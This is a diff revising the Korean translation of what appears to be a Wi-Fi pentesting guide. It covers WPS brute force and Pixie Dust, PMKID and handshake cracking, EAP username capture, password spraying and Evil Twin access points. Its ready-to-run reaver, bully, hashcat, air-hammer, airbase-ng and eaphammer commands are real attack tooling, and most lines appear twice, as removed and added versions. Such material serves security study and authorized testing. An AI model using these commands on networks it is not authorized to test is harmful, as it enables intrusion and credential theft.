**공격 모드 f: 패킷 퍼저**
**ATTACK MODE f: Packet Fuzzer**
다양한 패킷 소스와 패킷 조작을 위한 포괄적인 수정자 세트를 갖춘 패킷 퍼저입니다.
@ -188,14 +188,14 @@ _**Airgeddon**_은 이전 댓글에서 제안된 대부분의 공격을 제공
WPS (Wi-Fi Protected Setup)는 장치를 라우터에 연결하는 과정을 간소화하여 **WPA** 또는 **WPA2** 개인용으로 암호화된 네트워크의 설정 속도와 용이성을 향상시킵니다. 쉽게 타협될 수 있는 WEP 보안에는 효과적이지 않습니다. WPS는 8자리 PIN을 사용하며, 두 부분으로 검증되어 조합 수가 제한적(11,000 가능성)으로 인해 무차별 대입 공격에 취약합니다.
### WPS 무차별 대입
### WPS Bruteforce
이 작업을 수행하기 위한 두 가지 주요 도구가 있습니다: Reaver와 Bully.
- **Reaver**는 WPS에 대한 강력하고 실용적인 공격을 위해 설계되었으며, 다양한 액세스 포인트와 WPS 구현에 대해 테스트되었습니다.
- **Bully**는 C로 작성된 WPS 무차별 대입 공격의 **새로운 구현**입니다. 원래 Reaver 코드에 비해 몇 가지 장점이 있습니다: 의존성 감소, 메모리 및 CPU 성능 향상, 엔디안 처리의 정확성, 그리고 더 강력한 옵션 세트.
이 공격은 **WPS PIN의 취약성**을 이용하며, 특히 첫 네 자리 숫자의 노출과 마지막 자리 숫자의 체크섬 역할이 무차별 대입 공격을 용이하게 합니다. 그러나 공격자의 MAC 주소를 차단하는 것과 같은 무차별 대입 공격에 대한 방어는 공격을 계속하기 위해 **MAC 주소 회전**을 요구합니다.
이 공격은 **WPS PIN의 취약성**을 이용하며, 특히 첫 네 자리 숫자의 노출과 마지막 숫자의 체크섬 역할이 무차별 대입 공격을 용이하게 합니다. 그러나 공격자의 MAC 주소를 차단하는 것과 같은 무차별 대입 공격에 대한 방어는 공격을 계속하기 위해 **MAC 주소 회전**을 요구합니다.
Bully 또는 Reaver와 같은 도구로 WPS PIN을 얻으면 공격자는 WPA/WPA2 PSK를 유추할 수 있어 **지속적인 네트워크 접근**을 보장합니다.
```bash
@ -204,14 +204,14 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
```
**스마트 브루트 포스**
이 정제된 접근 방식은 알려진 취약점을 사용하여 WPS PIN을 타겟으로 합니다:
이 정제된 접근 방식은 알려진 취약점을 이용하여 WPS PIN을 타겟으로 합니다:
1. **사전 발견된 PIN**: 특정 제조업체와 연결된 알려진 PIN의 데이터베이스를 활용하여 균일한 WPS PIN을 사용하는 것으로 알려진 제조업체를 대상으로 합니다. 이 데이터베이스는 MAC 주소의 처음 세 옥텟과 이러한 제조업체에 대한 가능성 있는 PIN을 연관시킵니다.
2. **PIN 생성 알고리즘**: AP의 MAC 주소를 기반으로 WPS PIN을 계산하는 ComputePIN 및 EasyBox와 같은 알고리즘을 활용합니다. Arcadyan 알고리즘은 추가적으로 장치 ID를 요구하여 PIN 생성 과정에 추가적인 레이어를 더합니다.
### WPS 픽시 더스트 공격
**도미니크 봉가르**는 비밀 코드를 생성하는 것과 관련하여 일부 액세스 포인트(AP)에서 결함을 발견했습니다. 이 코드는 **논스**(**E-S1** 및 **E-S2**)로 알려져 있습니다. 이러한 논스를 알아낼 수 있다면 AP의 WPS PIN을 쉽게 해킹할 수 있습니다. AP는 PIN이 합법적이고 가짜(악성) AP가 아님을 증명하기 위해 특별한 코드(해시) 내에서 PIN을 공개합니다. 이러한 논스는 본질적으로 WPS PIN을 보관하는 "금고"를 여는 "열쇠"입니다. 이에 대한 더 많은 정보는 [여기](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)에서 확인할 수 있습니다.
**도미니크 봉가르**는 비밀 코드를 생성하는 것과 관련하여 일부 액세스 포인트(AP)에서 결함을 발견했습니다. 이 코드는 **논스**(**E-S1** 및 **E-S2**)로 알려져 있습니다. 이러한 논스를 알아낼 수 있다면 AP의 WPS PIN을 쉽게 해킹할 수 있습니다. AP는 PIN이 합법적이며 가짜(악성) AP가 아님을 증명하기 위해 특별한 코드(해시) 내에서 PIN을 공개합니다. 이러한 논스는 본질적으로 WPS PIN을 보관하는 "금고"를 여는 "열쇠"입니다. 이에 대한 더 많은 정보는 [여기](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)에서 확인할 수 있습니다.
간단히 말해, 문제는 일부 AP가 연결 과정에서 PIN을 암호화하기 위해 충분히 무작위적인 키를 사용하지 않았다는 것입니다. 이로 인해 PIN이 네트워크 외부에서 추측될 수 있는 취약점이 생깁니다(오프라인 브루트 포스 공격).
```bash
@ -224,7 +224,7 @@ bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
### Null Pin 공격
일부 잘못 설계된 시스템은 **Null PIN**(빈 또는 존재하지 않는 PIN)이 접근을 허용하도록 하며, 이는 매우 드문 경우입니다. 도구 **Reaver**는 **Bully**와 달리 이 취약점을 테스트할 수 있습니다.
일부 잘못 설계된 시스템은 **Null PIN**(빈 또는 존재하지 않는 PIN)이 접근을 허용하도록 하며, 이는 상당히 드문 경우입니다. 도구 **Reaver**는 **Bully**와 달리 이 취약점을 테스트할 수 있습니다.
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```
@ -234,15 +234,15 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
![](<../../images/image (219).png>)
- 5와 6은 **사용자 정의 PIN**을 시도할 수 있게 해줍니다 (있다면)
- 7과 8은 **Pixie Dust 공격**을 수행합니다
- 13은 **NULL PIN**을 테스트할 수 있게 해줍니다
- 11과 12는 **선택한 AP와 관련된 PIN을 사용 가능한 데이터베이스에서 수집하고** **가능한 PIN을 생성**합니다: ComputePIN, EasyBox 및 선택적으로 Arcadyan (추천, 왜 안 되겠습니까?)
- 9와 10은 **모든 가능한 PIN을 테스트**합니다
- 5와 6은 **사용자 정의 PIN**(있는 경우)을 시도할 수 있습니다.
- 7과 8은 **Pixie Dust 공격**을 수행합니다.
- 13은 **NULL PIN**을 테스트할 수 있습니다.
- 11과 12는 **선택한 AP와 관련된 PIN을 사용 가능한 데이터베이스에서 수집하고** **가능한 PIN을 생성**합니다: ComputePIN, EasyBox 및 선택적으로 Arcadyan(추천, 왜 안 되겠습니까?).
- 9와 10은 **모든 가능한 PIN을 테스트**합니다.
## **WEP**
현재는 너무 깨져서 사용되지 않습니다. _**airgeddon**_에는 이러한 종류의 보호를 공격하기 위한 "All-in-One"이라는 WEP 옵션이 있다는 것만 알고 계십시오. 더 많은 도구들이 유사한 옵션을 제공합니다.
현재는 너무 취약하고 사용되지 않습니다. _**airgeddon**_에는 이러한 종류의 보호를 공격하기 위한 "All-in-One"이라는 WEP 옵션이 있다는 것을 아는 것이 중요합니다. 더 많은 도구들이 유사한 옵션을 제공합니다.
![](<../../images/image (432).png>)
@ -254,7 +254,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
### PMKID
2018년, **hashcat** [revealed](https://hashcat.net/forum/thread-7717.html) 새로운 공격 방법을 공개했습니다. 이 방법은 **하나의 패킷**만 필요하고, 클라이언트가 대상 AP에 연결될 필요가 없다는 점에서 독특합니다—공격자와 AP 간의 상호작용만 필요합니다.
2018년, **hashcat** [발표했습니다](https://hashcat.net/forum/thread-7717.html) 새로운 공격 방법을, 이는 **단일 패킷**만 필요하고 대상 AP에 클라이언트가 연결될 필요가 없다는 점에서 독특합니다—공격자와 AP 간의 상호작용만 필요합니다.
많은 현대 라우터는 연결 중에 **첫 번째 EAPOL** 프레임에 `Robust Security Network`로 알려진 **선택적 필드**를 추가합니다. 여기에는 `PMKID`가 포함됩니다.
@ -262,7 +262,7 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
"PMK Name"이 일정하므로, AP와 스테이션의 BSSID를 알고 있으며, `PMK`가 전체 4-way 핸드셰이크의 것과 동일하다면, **hashcat**은 이 정보를 사용하여 PSK를 크랙하고 패스프레이즈를 복구할 수 있습니다!
"PMK Name"이 일정하다는 점을 감안할 때, AP와 스테이션의 BSSID를 알고 있으며, `PMK`가 전체 4-way handshake의 것과 동일하다면, **hashcat**은 이 정보를 사용하여 PSK를 크랙하고 패스프레이즈를 복구할 수 있습니다!
이 정보를 **수집**하고 비밀번호를 로컬에서 **브루트포스**하려면 다음을 수행할 수 있습니다:
```bash
@ -285,7 +285,7 @@ john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
올바른 해시의 형식은 **4부분**으로 구성되어 있습니다. 예: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` 만약 당신의 해시가 **오직** **3부분**만 포함하고 있다면, 이는 **유효하지 않습니다** (PMKID 캡처가 유효하지 않았습니다).
`hcxdumptool`은 **핸드쉐이크도 캡처합니다** (이와 같은 내용이 나타날 것입니다: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). 당신은 `cap2hccapx`를 사용하여 **핸드쉐이크**를 **hashcat**/**john** 형식으로 **변환**할 수 있습니다.
`hcxdumptool`은 **핸드쉐이크도 캡처합니다** (이와 같은 것이 나타날 것입니다: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). 당신은 `cap2hccapx`를 사용하여 **핸드쉐이크**를 **hashcat**/**john** 형식으로 **변환**할 수 있습니다.
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -297,10 +297,10 @@ _이 도구로 캡처한 일부 핸드셰이크는 올바른 비밀번호를 알
### 핸드셰이크 캡처
**WPA/WPA2** 네트워크에 대한 공격은 **핸드셰이크**를 캡처하고 비밀번호를 **오프라인**에서 **크랙**하려고 시도함으로써 실행될 수 있습니다. 이 과정은 특정 네트워크와 특정 **채널**에서의 **BSSID** 통신을 모니터링하는 것을 포함합니다. 다음은 간소화된 가이드입니다:
**WPA/WPA2** 네트워크에 대한 공격은 **핸드셰이크**를 캡처하고 비밀번호를 **오프라인**에서 **크랙**하려고 시도함으로써 실행될 수 있습니다. 이 과정은 특정 네트워크와 특정 **채널**에서 **BSSID**의 통신을 모니터링하는 것을 포함합니다. 다음은 간소화된 가이드입니다:
1. 대상 네트워크의 **BSSID**, **채널**, 및 **연결된 클라이언트**를 식별합니다.
2. `airodump-ng`를 사용하여 지정된 채널과 BSSID에서 네트워크 트래픽을 모니터링하고 핸드셰이크를 캡처할 수 있기를 바랍니다. 명령은 다음과 같이 보일 것입니다:
2. `airodump-ng`를 사용하여 지정된 채널과 BSSID에서 네트워크 트래픽을 모니터링하고 핸드셰이크를 캡처합니다. 명령은 다음과 같이 보일 것입니다:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
@ -341,7 +341,7 @@ pyrit -r psk-01.cap analyze
```
## **WPA Enterprise (MGT)**
**기업 WiFi 설정에서는 다양한 인증 방법을 접하게 됩니다.** 각 방법은 서로 다른 보안 수준과 관리 기능을 제공합니다. `airodump-ng`와 같은 도구를 사용하여 네트워크 트래픽을 검사할 때 이러한 인증 유형의 식별자를 발견할 수 있습니다. 일반적인 방법으로는 다음이 포함됩니다:
**기업 WiFi 설정에서는 다양한 인증 방법을 접하게 됩니다.** 각 방법은 서로 다른 보안 수준과 관리 기능을 제공합니다. `airodump-ng`와 같은 도구를 사용하여 네트워크 트래픽을 검사할 때 이러한 인증 유형에 대한 식별자를 발견할 수 있습니다. 일반적인 방법으로는:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
@ -352,44 +352,44 @@ pyrit -r psk-01.cap analyze
3. **EAP-TLS (Transport Layer Security)**:
- 인증을 위해 클라이언트 측 및 서버 측 인증서를 모두 사용하며, 통신을 보호하기 위해 사용자 기반 및 세션 기반 WEP 키를 동적으로 생성할 수 있습니다.
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
- 암호화된 터널을 통해 상호 인증을 제공하며, 사용자별 및 세션별 WEP 키를 동적으로 유도하는 방법을 제공합니다. 서버 측 인증서만 필요하며, 클라이언트는 자격 증명을 사용합니다.
- 암호화된 터널을 통해 상호 인증을 제공하며, 사용자별 및 세션별 동적 WEP 키를 파생하는 방법을 제공합니다. 서버 측 인증서만 필요하며, 클라이언트는 자격 증명을 사용합니다.
5. **PEAP (Protected Extensible Authentication Protocol)**:
- 보호된 통신을 위해 TLS 터널을 생성하여 EAP와 유사하게 작동합니다. 터널이 제공하는 보호 덕분에 EAP 위에 더 약한 인증 프로토콜을 사용할 수 있습니다.
- **PEAP-MSCHAPv2**: 종종 PEAP로 언급되며, 취약한 MSCHAPv2 챌린지/응답 메커니즘과 보호 TLS 터널을 결합합니다.
- EAP와 유사하게 보호된 통신을 위한 TLS 터널을 생성합니다. 터널이 제공하는 보호 덕분에 EAP 위에 더 약한 인증 프로토콜을 사용할 수 있습니다.
- **PEAP-MSCHAPv2**: 일반적으로 PEAP로 언급되며, 취약한 MSCHAPv2 챌린지/응답 메커니즘과 보호 TLS 터널을 결합합니다.
- **PEAP-EAP-TLS (또는 PEAP-TLS)**: EAP-TLS와 유사하지만 인증서 교환 전에 TLS 터널을 시작하여 추가 보안 계층을 제공합니다.
이 인증 방법에 대한 더 많은 정보는 [여기](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)와 [여기](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)에서 확인할 수 있습니다.
### 사용자 이름 캡처
### Username Capture
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)을 읽어보면 **EAP**를 사용하는 경우 **"Identity"** **메시지**가 **지원되어야 하며**, **사용자 이름**이 **"Response Identity"** 메시지에서 **명확하게** 전송된다는 것을 알 수 있습니다.
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)을 읽어보면 **EAP**를 사용하는 경우 **"Identity"** **메시지**가 **지원되어야** 하며, **사용자 이름**이 **"Response Identity"** 메시지에서 **명확하게** 전송된다고 합니다.
가장 안전한 인증 방법 중 하나인 **PEAP-EAP-TLS**를 사용하더라도 **EAP 프로토콜에서 전송된 사용자 이름을 캡처하는 것이 가능합니다**. 이를 위해 **인증 통신을 캡처**하고 (채널 내에서 `airodump-ng`를 시작하고 동일한 인터페이스에서 `wireshark`를 실행) 패킷을 `eapol`로 필터링합니다.\
가장 안전한 인증 방법 중 하나인 **PEAP-EAP-TLS**를 사용하더라도 **EAP 프로토콜에서 전송된 사용자 이름을 캡처**할 수 있습니다. 이를 위해 **인증 통신을 캡처**하고 (채널 내에서 `airodump-ng`를 시작하고 동일한 인터페이스에서 `wireshark`를 실행) 패킷을 `eapol`로 필터링합니다.\
"**Response, Identity**" 패킷 내에서 클라이언트의 **사용자 이름**이 나타납니다.
![](<../../images/image (850).png>)
### 익명 아이덴티티
### Anonymous Identities
아이덴티티 숨기기는 EAP-PEAP와 EAP-TTLS 모두에서 지원됩니다. WiFi 네트워크의 맥락에서 EAP-Identity 요청은 일반적으로 연결 과정 중에 액세스 포인트(AP)에 의해 시작됩니다. 사용자 익명성을 보호하기 위해, 사용자의 장치에서 EAP 클라이언트의 응답은 초기 RADIUS 서버가 요청을 처리하는 데 필요한 필수 정보만 포함합니다. 이 개념은 다음 시나리오를 통해 설명됩니다:
신원 숨기기는 EAP-PEAP와 EAP-TTLS 모두에서 지원됩니다. WiFi 네트워크의 맥락에서 EAP-Identity 요청은 일반적으로 연결 과정 중에 액세스 포인트(AP)에 의해 시작됩니다. 사용자 익명성을 보호하기 위해, 사용자의 장치에서 EAP 클라이언트의 응답은 초기 RADIUS 서버가 요청을 처리하는 데 필요한 필수 정보만 포함합니다. 이 개념은 다음 시나리오를 통해 설명됩니다:
- EAP-Identity = anonymous
- 이 시나리오에서 모든 사용자는 사용자 식별자로 가명 "anonymous"를 사용합니다. 초기 RADIUS 서버는 EAP-PEAP 또는 EAP-TTLS 서버로 작동하며, PEAP 또는 TTLS 프로토콜의 서버 측을 관리합니다. 내부(보호된) 인증 방법은 로컬에서 처리되거나 원격(홈) RADIUS 서버에 위임됩니다.
- 이 시나리오에서 모든 사용자는 사용자 식별자로 "anonymous"라는 가명을 사용합니다. 초기 RADIUS 서버는 EAP-PEAP 또는 EAP-TTLS 서버로 작동하며, PEAP 또는 TTLS 프로토콜의 서버 측을 관리합니다. 내부(보호된) 인증 방법은 로컬에서 처리되거나 원격(홈) RADIUS 서버에 위임됩니다.
- EAP-Identity = anonymous@realm_x
- 이 상황에서 서로 다른 영역의 사용자는 자신의 영역을 나타내면서 신원을 숨깁니다. 이를 통해 초기 RADIUS 서버는 EAP-PEAP 또는 EAP-TTLS 요청을 해당 영역의 RADIUS 서버로 프록시할 수 있으며, 이 서버는 PEAP 또는 TTLS 서버로 작동합니다. 초기 RADIUS 서버는 RADIUS 릴레이 노드로만 작동합니다.
- 또는 초기 RADIUS 서버가 EAP-PEAP 또는 EAP-TTLS 서버로 작동하고 보호된 인증 방법을 처리하거나 다른 서버로 전달할 수 있습니다. 이 옵션은 다양한 영역에 대해 별도의 정책 구성을 용이하게 합니다.
EAP-PEAP에서는 PEAP 서버와 PEAP 클라이언트 간에 TLS 터널이 설정되면, PEAP 서버가 EAP-Identity 요청을 시작하고 이를 TLS 터널을 통해 전송합니다. 클라이언트는 암호화된 터널을 통해 사용자의 실제 아이덴티티를 포함한 EAP-Identity 응답을 전송하여 이 두 번째 EAP-Identity 요청에 응답합니다. 이 접근 방식은 802.11 트래픽을 엿보는 누구에게도 사용자의 실제 아이덴티티가 드러나는 것을 효과적으로 방지합니다.
EAP-PEAP에서는 PEAP 서버와 PEAP 클라이언트 간에 TLS 터널이 설정되면, PEAP 서버가 EAP-Identity 요청을 시작하고 이를 TLS 터널을 통해 전송합니다. 클라이언트는 이 두 번째 EAP-Identity 요청에 대해 사용자의 실제 신원을 포함한 EAP-Identity 응답을 암호화된 터널을 통해 전송합니다. 이 접근 방식은 802.11 트래픽을 엿보는 누구에게도 사용자의 실제 신원을 드러내는 것을 효과적으로 방지합니다.
EAP-TTLS는 약간 다른 절차를 따릅니다. EAP-TTLS에서는 클라이언트가 일반적으로 PAP 또는 CHAP을 사용하여 TLS 터널로 보호된 인증을 수행합니다. 이 경우 클라이언트는 터널 설정 후 전송된 초기 TLS 메시지에 User-Name 속성과 Password 또는 CHAP-Password 속성을 포함합니다.
선택한 프로토콜에 관계없이, PEAP/TTLS 서버는 TLS 터널이 설정된 후 사용자의 실제 아이덴티티를 알게 됩니다. 실제 아이덴티티는 user@realm 또는 단순히 user로 표현될 수 있습니다. PEAP/TTLS 서버가 사용자 인증을 담당하는 경우, 이제 사용자의 아이덴티티를 보유하고 TLS 터널로 보호된 인증 방법을 진행합니다. 또는 PEAP/TTLS 서버가 사용자의 홈 RADIUS 서버로 새로운 RADIUS 요청을 전달할 수 있습니다. 이 새로운 RADIUS 요청은 PEAP 또는 TTLS 프로토콜 계층을 생략합니다. 보호된 인증 방법이 EAP인 경우, 내부 EAP 메시지는 EAP-PEAP 또는 EAP-TTLS 래퍼 없이 홈 RADIUS 서버로 전송됩니다. 발신 RADIUS 메시지의 User-Name 속성에는 사용자의 실제 아이덴티티가 포함되어 있으며, 수신 RADIUS 요청의 익명 User-Name을 대체합니다. 보호된 인증 방법이 PAP 또는 CHAP(오직 TTLS에서만 지원)인 경우, TLS 페이로드에서 추출된 User-Name 및 기타 인증 속성이 발신 RADIUS 메시지에 대체되어 수신 RADIUS 요청에서 발견된 익명 User-Name 및 TTLS EAP-Message 속성을 대체합니다.
선택한 프로토콜에 관계없이, PEAP/TTLS 서버는 TLS 터널이 설정된 후 사용자의 실제 신원을 알게 됩니다. 실제 신원은 user@realm 또는 단순히 user로 표현될 수 있습니다. PEAP/TTLS 서버가 사용자 인증을 담당하는 경우, 이제 사용자의 신원을 보유하고 TLS 터널로 보호된 인증 방법을 진행합니다. 또는 PEAP/TTLS 서버가 사용자의 홈 RADIUS 서버로 새로운 RADIUS 요청을 전달할 수 있습니다. 이 새로운 RADIUS 요청은 PEAP 또는 TTLS 프로토콜 계층을 생략합니다. 보호된 인증 방법이 EAP인 경우, 내부 EAP 메시지는 EAP-PEAP 또는 EAP-TTLS 래퍼 없이 홈 RADIUS 서버로 전송됩니다. 나가는 RADIUS 메시지의 User-Name 속성에는 사용자의 실제 신원이 포함되어 있으며, 들어오는 RADIUS 요청의 익명 User-Name을 대체합니다. 보호된 인증 방법이 PAP 또는 CHAP(오직 TTLS에서만 지원)인 경우, TLS 페이로드에서 추출된 User-Name 및 기타 인증 속성이 나가는 RADIUS 메시지에 대체되어 들어오는 RADIUS 요청에서 발견된 익명 User-Name 및 TTLS EAP-Message 속성을 대체합니다.
자세한 정보는 [여기](https://www.interlinknetworks.com/app_notes/eap-peap.htm)에서 확인하세요.
자세한 내용은 [여기](https://www.interlinknetworks.com/app_notes/eap-peap.htm)에서 확인하세요.
### EAP-Bruteforce (비밀번호 스프레이)
### EAP-Bruteforce (password spray)
클라이언트가 **사용자 이름과 비밀번호**를 사용할 것으로 예상되는 경우(**EAP-TLS는 이 경우 유효하지 않음**), **사용자 이름**(다음 부분 참조)과 **비밀번호** 목록을 얻고 [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**를 사용하여 액세스를 **브루트포스** 시도할 수 있습니다.**
클라이언트가 **사용자 이름과 비밀번호**를 사용할 것으로 예상되는 경우(**EAP-TLS는 이 경우 유효하지 않음**), **사용자 이름**(다음 부분 참조)과 **비밀번호** 목록을 얻으려고 시도하고 [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**를 사용하여 액세스를 **브루트포스**할 수 있습니다.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
@ -407,26 +407,26 @@ EAP-TTLS는 약간 다른 절차를 따릅니다. EAP-TTLS에서는 클라이언
- 802.11 프로토콜은 스테이션이 확장 서비스 세트(ESS)에 가입하는 방법을 정의하지만, ESS 또는 그 안의 액세스 포인트(AP)를 선택하는 기준은 명시하지 않습니다.
- 스테이션은 동일한 ESSID를 공유하는 AP 간에 로밍할 수 있으며, 건물이나 지역 전반에 걸쳐 연결성을 유지합니다.
- 프로토콜은 ESS에 대한 스테이션 인증을 요구하지만, 스테이션에 대한 AP 인증을 의무화하지 않습니다.
- 이 프로토콜은 ESS에 대한 스테이션 인증을 요구하지만, 스테이션에 대한 AP 인증을 의무화하지 않습니다.
### 선호 네트워크 목록(PNL)
- 스테이션은 연결하는 모든 무선 네트워크의 ESSID를 선호 네트워크 목록(PNL)에 저장하며, 네트워크별 구성 세부정보도 함께 저장합니다.
- 스테이션은 연결하는 모든 무선 네트워크의 ESSID를 선호 네트워크 목록(PNL)에 저장하며, 네트워크별 구성 세부정보도 포함됩니다.
- PNL은 알려진 네트워크에 자동으로 연결하는 데 사용되어, 연결 프로세스를 간소화하여 사용자 경험을 향상시킵니다.
### 수동 스캔
- AP는 주기적으로 비콘 프레임을 방송하여 자신의 존재와 기능을 알리며, AP의 ESSID를 포함합니다(방송이 비활성화되지 않은 경우).
- AP는 주기적으로 비콘 프레임을 방송하여 자신의 존재와 기능을 알리며, AP의 ESSID도 포함됩니다(방송이 비활성화되지 않은 경우).
- 수동 스캔 중에 스테이션은 비콘 프레임을 수신합니다. 비콘의 ESSID가 스테이션의 PNL에 있는 항목과 일치하면, 스테이션은 해당 AP에 자동으로 연결될 수 있습니다.
- 장치의 PNL에 대한 지식은 알려진 네트워크의 ESSID를 모방하여 장치를 악성 AP에 연결하도록 속일 수 있는 잠재적 악용을 가능하게 합니다.
- 장치의 PNL에 대한 지식은 알려진 네트워크의 ESSID를 모방하여 장치를 악성 AP에 연결하도록 속일 수 있는 잠재적 착취를 허용합니다.
### 능동 프로빙
- 능동 프로빙은 스테이션이 근처 AP와 그 특성을 발견하기 위해 프로브 요청을 보내는 것입니다.
- 지향 프로브 요청은 특정 ESSID를 목표로 하여, 특정 네트워크가 범위 내에 있는지 감지하는 데 도움을 줍니다. 숨겨진 네트워크일지라도 가능합니다.
- 지향 프로브 요청은 특정 ESSID를 목표로 하여, 특정 네트워크가 범위 내에 있는지 감지하는 데 도움을 줍니다. 이는 숨겨진 네트워크일지라도 가능합니다.
- 브로드캐스트 프로브 요청은 SSID 필드가 비어 있으며, 모든 근처 AP에 전송되어 스테이션이 PNL 내용을 공개하지 않고도 선호 네트워크를 확인할 수 있게 합니다.
## 인터넷으로 리디렉션하는 간단한 AP
## 인터넷으로의 리디렉션이 있는 간단한 AP
더 복잡한 공격을 수행하는 방법을 설명하기 전에, **AP**를 **생성**하고 **트래픽**을 **인터넷**에 연결된 인터페이스로 **리디렉션**하는 **방법**을 설명합니다.
@ -448,12 +448,12 @@ log-queries
log-dhcp
listen-address=127.0.0.1
```
그런 다음 **IP**와 **경로**를 설정합니다:
그런 다음 **IP** 및 **경로**를 설정합니다:
```bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
```
그리고 **dnsmasq**를 **시작**합니다:
그리고 **dnsmasq**를 시작합니다:
```bash
dnsmasq -C dnsmasq.conf -d
```
@ -479,7 +479,7 @@ wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
```
**불필요한 프로세스 중지**, **모니터 모드 설정**, 및 **hostapd 시작**:
**불필요한 프로세스 중지** , **모니터 모드 설정** , 그리고 **hostapd 시작**:
```bash
airmon-ng check kill
iwconfig wlan0 mode monitor
@ -494,17 +494,17 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Evil Twin
악성 쌍둥이 공격은 WiFi 클라이언트가 네트워크를 인식하는 방식을 악용하며, 주로 네트워크 이름(ESSID)에 의존하고 기본 스테이션(액세스 포인트)이 클라이언트에 대해 인증할 필요가 없습니다. 주요 사항은 다음과 같습니다:
악성 쌍둥이 공격은 WiFi 클라이언트가 네트워크를 인식하는 방식을 이용하며, 주로 네트워크 이름(ESSID)에 의존하고 클라이언트에게 기본 스테이션(액세스 포인트)이 인증할 필요가 없습니다. 주요 사항은 다음과 같습니다:
- **구별의 어려움**: 장치들은 동일한 ESSID와 암호화 유형을 공유하는 경우 합법적인 액세스 포인트와 악성 액세스 포인트를 구별하는 데 어려움을 겪습니다. 실제 네트워크는 종종 동일한 ESSID를 가진 여러 액세스 포인트를 사용하여 원활하게 범위를 확장합니다.
- **클라이언트 로밍 및 연결 조작**: 802.11 프로토콜은 장치가 동일한 ESS 내의 액세스 포인트 간에 로밍할 수 있도록 허용합니다. 공격자는 장치를 현재 기본 스테이션에서 분리하고 악성 스테이션에 연결하도록 유도하여 이를 악용할 수 있습니다. 이는 더 강한 신호를 제공하거나 비인증 패킷이나 재밍과 같은 방법을 통해 합법적인 액세스 포인트와의 연결을 방해함으로써 달성할 수 있습니다.
- **실행의 어려움**: 여러 개의 잘 배치된 액세스 포인트가 있는 환경에서 악성 쌍둥이 공격을 성공적으로 실행하는 것은 어려울 수 있습니다. 단일 합법적인 액세스 포인트의 인증을 해제하면 장치가 다른 합법적인 액세스 포인트에 연결되는 경우가 많으며, 공격자가 모든 인근 액세스 포인트의 인증을 해제하거나 악성 액세스 포인트를 전략적으로 배치할 수 없는 한 그렇습니다.
- **클라이언트 로밍 및 연결 조작**: 802.11 프로토콜은 장치가 동일한 ESS 내의 액세스 포인트 간에 로밍할 수 있도록 허용합니다. 공격자는 장치를 현재의 기본 스테이션에서 분리하고 악성 스테이션에 연결하도록 유도하여 이를 악용할 수 있습니다. 이는 더 강한 신호를 제공하거나 비인증 패킷이나 재밍과 같은 방법을 통해 합법적인 액세스 포인트와의 연결을 방해함으로써 달성할 수 있습니다.
- **실행의 어려움**: 여러 개의 잘 배치된 액세스 포인트가 있는 환경에서 악성 쌍둥이 공격을 성공적으로 실행하는 것은 어려울 수 있습니다. 단일 합법적인 액세스 포인트를 비인증하면 장치가 다른 합법적인 액세스 포인트에 연결되는 경우가 많으며, 공격자가 모든 인근 액세스 포인트를 비인증하거나 악성 액세스 포인트를 전략적으로 배치할 수 없는 한 그렇습니다.
아주 기본적인 Open Evil Twin(인터넷으로 트래픽을 라우팅할 수 있는 기능 없음)을 만들 수 있습니다:
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
**eaphammer**를 사용하여 Evil Twin을 생성할 수도 있습니다(악성 쌍둥이를 생성하기 위해서는 **모니터** 모드에 있지 않아야 합니다):
**eaphammer**를 사용하여 Evil Twin을 생성할 수도 있습니다(악성 트윈을 생성하기 위해서는 **모니터** 모드에 있지 않아야 합니다).
```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
@ -512,19 +512,19 @@ Airgeddon을 사용하는 경우: `Options: 5,6,7,8,9 (Evil Twin 공격 메뉴
![](<../../images/image (1088).png>)
